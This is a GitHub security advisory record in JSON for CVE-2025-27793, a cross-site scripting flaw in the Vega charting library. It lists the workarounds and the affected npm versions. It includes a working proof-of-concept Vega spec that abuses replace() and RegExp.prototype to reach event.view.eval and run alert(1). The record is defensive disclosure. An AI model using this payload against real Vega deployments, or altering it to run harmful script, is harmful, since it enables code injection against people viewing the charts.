{"id":"GHSA-963h-3v39-3pqf","summary":"Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]","details":"## Impact\n\nUsers running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`.\n\n## Workarounds\n\n- Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/)\n- Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`)\n\n### POC Summary\n\nCalling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function.\n\n### POC Details\n\nConsider the function call `replace('foo', {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec('foo')` winds up being called.\n\nThe resulting malicious call looks like this:\n```\nreplace(\u003cstring argument\u003e, {__proto__: /h/.constructor.prototype, exec: \u003cfunction\u003e, global: false})\n```\n\nSince functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`.\n\n### Reproduction steps\n\n```\n{\"$schema\":\"https://vega.github.io/schema/vega/v5.json\",\"signals\":[{\"name\":\"a\",\"on\":[{\"events\":\"body:mousemove{99999}\",\"update\":\"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})\"}]}]}\n```","aliases":["CVE-2025-27793"],"modified":"2025-03-27T18:08:39.051781Z","published":"2025-03-27T18:00:24Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-03-27T18:00:24Z","nvd_published_at":"2025-03-27T14:15:54Z","cwe_ids":["CWE-79","CWE-87"]},"references":[{"type":"WEB","url":"https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27793"},{"type":"WEB","url":"https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966"},{"type":"PACKAGE","url":"https://github.com/vega/vega"},{"type":"WEB","url":"https://github.com/vega/vega/releases/tag/v5.32.0"},{"type":"WEB","url":"https://vega.github.io/vega/usage/interpreter"}],"affected":[{"package":{"name":"vega","ecosystem":"npm","purl":"pkg:npm/vega"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.32.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-963h-3v39-3pqf/GHSA-963h-3v39-3pqf.json"}},{"package":{"name":"vega-functions","ecosystem":"npm","purl":"pkg:npm/vega-functions"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.17.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-963h-3v39-3pqf/GHSA-963h-3v39-3pqf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}